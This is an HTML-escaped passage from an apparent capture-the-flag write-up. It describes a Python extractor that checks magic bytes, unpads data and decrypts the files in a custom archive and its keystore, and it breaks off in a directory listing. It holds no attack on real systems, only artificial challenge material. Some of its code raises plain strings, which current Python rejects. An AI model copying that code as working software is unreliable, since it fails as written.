class=\"nb\"\u003ebytes\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;test\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;utf8\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"sa\"\u003eb\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;test\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x01\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003ePerhaps at the cost of a little waste sometimes, the unpad function can be very simple.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003eunpad\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"p\"\u003e[:\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"extractor\"\u003eExtractor\u003c/h2\u003e\u003cp\u003eSee \u003ca href=\"/inshack-obscure/extractor.py\" rel=\"noreferrer nofollow noopener\"\u003eextractor.py\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eMost of the work involved in writing this extractor will be undoing the work of packing the file format done by the archiver. This means we'll be taking bytes and byte sequences of varying lengths from our input buffers all day long, and array subscriptions are going to get tiresome.\u003c/p\u003e\n\u003cp\u003eA wrapper class will make the job a bit easier.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eBuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e():\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"fm\"\u003e__init__\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003es\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003es\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003etake\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003es\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epeek\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003es\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003epeek\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003eunpack\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003efmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003estruct\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eunpack\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etake\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003eunpack_I\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eunpack\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;I\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eBuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eread\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ek\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eBuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eread\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;k\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eWe can read bytes from our input files using the \u003ccode\u003etake(n)\u003c/code\u003e method. For example, the extraction process begins with a magic byte sanity check.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003echeck_file_headers\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etake\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"sa\"\u003eb\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;L0LARCH\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x00\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eraise\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Archive invalid\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ek\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etake\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"sa\"\u003eb\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;L0LKSTR\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x00\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eraise\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Keystore invalid\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eNow we'll look at the \u003ccode\u003eextract\u003c/code\u003e function. Even though we're writing a one-time extractor never to be used again, the urge to handle edge cases doesn't go away.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edef\u003c/span\u003e \u003cspan class=\"nf\"\u003eextract\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003echeck_file_headers\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efile_count\u003c/span\u003e\u003cspan class=\"p\"\u003e,)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eunpack_I\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey_count\u003c/span\u003e\u003cspan class=\"p\"\u003e,)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ek\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eunpack_I\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;Found \u003c/span\u003e\u003cspan class=\"si\"\u003e%d\u003c/span\u003e\u003cspan class=\"s1\"\u003e files\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"n\"\u003efile_count\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003efile_count\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"n\"\u003ekey_count\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eraise\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;File and key count mismatch\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"ow\"\u003ein\u003c/span\u003e \u003cspan class=\"nb\"\u003erange\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efile_count\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003efile\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eextract_next_file\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003ekey\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eextract_next_key\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nb\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Extracting \u003c/span\u003e\u003cspan class=\"si\"\u003e%s\u003c/span\u003e\u003cspan class=\"s2\"\u003e: bytes=\u003c/span\u003e\u003cspan class=\"si\"\u003e%d\u003c/span\u003e\u003cspan class=\"s2\"\u003e uuid=\u003c/span\u003e\u003cspan class=\"si\"\u003e%s\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e%\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emeta\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;filename\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emeta\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;size\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emeta\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;uuid\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003edecrypted\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edecrypt\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003efilename\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emeta\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;filename\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003epath\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eos\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edirname\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efilename\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"ow\"\u003enot\u003c/span\u003e \u003cspan class=\"n\"\u003eos\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexists\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003eos\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emakedirs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ewith\u003c/span\u003e \u003cspan class=\"nb\"\u003eopen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efilename\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;wb+\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edecrypted\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eos\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003echmod\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efilename\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emeta\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;mode\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThis loops through each file in the archive, decrypts it with its key, and then saves it to disk. The file mode is even set to match the original. (But not atime, mtime, and ctime, because that would be \u003cem\u003esilly\u003c/em\u003e.)\u003c/p\u003e\n\u003ch2 id=\"result\"\u003eResult\u003c/h2\u003e\u003cp\u003eThe final directory tree looks like this.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ tree\ntmp\n├── 0426d34dfdc9ac3a987f\n│   ├── 030e472e78f1e9b847b1\n│   ├── 1449f939bd39f6251966\n│   └── 82c060b2ca9f6ff17c3a\n├── 559591d87cfc511fab91\n│   ├── 2de5a23a6734b53878ab\n│   ├── 5c0ac53338432fbbc8e7\n│   └── 768d44a40b744aa0e55d\n├── 795dcd3c4debafa04240\n│   ├── 0617dea7075e199c6948\n│   ├── 1a5899d8ecaa7641c13e\n│   └── b77a01977be3d5665cf3\n├── 88190c29ecd14c2c0171\n├── b20fdd45bba34b561afc\n│   ├── 30b17b6ae03e8179eced\n│   ├── 